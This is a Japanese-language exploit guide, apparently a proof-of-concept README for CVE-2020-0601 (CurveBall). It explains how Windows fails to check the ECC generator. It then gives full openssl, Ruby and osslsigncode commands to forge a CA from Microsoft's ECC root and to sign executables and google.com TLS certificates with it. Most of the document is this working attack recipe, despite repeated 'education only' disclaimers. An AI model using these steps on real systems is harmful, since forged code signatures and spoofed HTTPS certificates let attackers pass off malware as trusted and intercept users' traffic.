CVE-2020-0601(一般に CurveBall と呼ばれる)は、楕円曲線暗号(ECC)を使用した証明書の署名が正しく検証されない脆弱性です。
ECC はさまざまなパラメータに依存しています。標準化されたパラメータが多くの曲線で使用されています。しかし、Microsoft は天才ぶりを発揮して、これらすべてのパラメータをチェックしていませんでした... パラメータ G(ジェネレータ)はチェックされておらず、攻撃者は独自に作成したジェネレータを提供できます。そのため、Microsoft が信頼された CA に対して証明書を検証しようとすると、公開鍵の一致だけを確認して、そしてドーン、証明書のジェネレータを使用してしまいます。
NSA は、この脆弱性の壊滅的な影響と詳細を こちら で明確に説明しています。覚悟を決めて取りかかりましょう!
MicrosoftECCProductRootCertificateAuthority.cer は、Windows 10 で ECC を使用するデフォルトの信頼されたルート証明機関(CA)です。したがって、この証明書で署名されたものはすべて自動的に信頼されます。
言っておきますが、彼らは常に見つめています... ですので これは教育および研究目的のみに使用してください。
最低要件
openssl 1.1.0
ruby 2.4.0
この脆弱性の数学的詳細に興味がある場合は、こちら をお読みください。
証明書を偽装するには、次のパラメータを設定します。
d' = 1
G' = Q
ここで Q = Q' = d'G' が成り立ちます。
信頼された CA と同じ公開鍵とパラメータを持つ証明書を作成します。これが私たちの偽装 CA として使用されます。秘密鍵を知っている値にジェネレータを設定します。Q = dG なので、ジェネレータを公開鍵に設定し、秘密鍵を 1 に設定するだけで簡単にできます。
次に、使用する拡張機能(例:コード署名やサーバー認証)を含む証明書署名要求(CSR)を作成します。
この証明書要求を偽装 CA と CA キーで署名し、使用目的の拡張機能を追加します。
署名済みの証明書要求(これで通常の証明書になりました)を偽装 CA と一緒にバンドルすると、署名済みで信頼された証明書が完成します。
Windows が証明書が信頼されているかどうかをチェックするとき、偽装 CA によって署名されていることを確認します。次に、偽装 CA の公開鍵を調べて、信頼された CA と照合します。そして、偽装 CA の署名を偽装 CA のジェネレータで検証するだけです。これが問題です。
新しく署名された信頼済み証明書を Windows で開いても、何にも関連付けられていないため、信頼済みとして認識されず、偽装 CA は使用されません。証明書は常に偽装 CA と一緒に提示される必要があります。
これは教育および研究目的のみに使用してください。
CA から公開鍵を抽出し、脆弱性に従って修正します。
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
この鍵に基づいて新しい x509 証明書を生成します。これが私たち自身の偽装 CA になります。
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
新しい鍵を生成します。この鍵は任意のタイプで構いません。これはコード署名証明書を作成するために使用され、私たち自身の CA で署名します。
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
次に、新しい証明書署名要求(CSR)を作成します。この要求は通常、信頼された CA に送信されますが、私たちは偽装 CA を持っているので、自分たちで署名できます。
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
新しい CSR を偽装 CA と CA キーで署名します。この証明書は 2047 年まで有効ですが、実際の信頼された Microsoft CA は 2043 年に失効します。
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
残りは、証明書、そのキー、偽装 CA を PKCS12 ファイルにまとめて、実行可能ファイルに署名するだけです。
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
PKCS12 ファイルで実行可能ファイルに署名します。
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe
これは教育および研究目的のみに使用してください。
CA から公開鍵を抽出し、脆弱性に従って修正します。
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
この鍵に基づいて新しい x509 証明書を生成します。これが私たち自身の偽装 CA になります。
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
新しい鍵を生成します。この鍵は任意のタイプで構いません。これは SSL 証明書を作成するために使用され、私たち自身の CA で署名します。
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
次に、新しい証明書署名要求(CSR)を作成します。この要求は通常、信頼された CA に送信されますが、私たちは偽装 CA を持っているので、自分たちで署名できます。
ドメイン名を変更したい場合は、openssl_tls.conf 内の CN = www.google.com を CN = www.example.com に編集してください。
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
新しい CSR を偽装 CA と CA キーで署名します。この証明書は 2047 年まで有効ですが、実際の信頼された Microsoft CA は 2043 年に失効します。
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls
これで cert.crt、cert.key、spoofed_ca.crt を使用してコンテンツを配信できます。繰り返しますが、サーバーの HTTPS 設定で spoofed_ca.crt を証明書チェーンとして追加することを忘れないでください。
これは教育および研究目的のみに使用してください。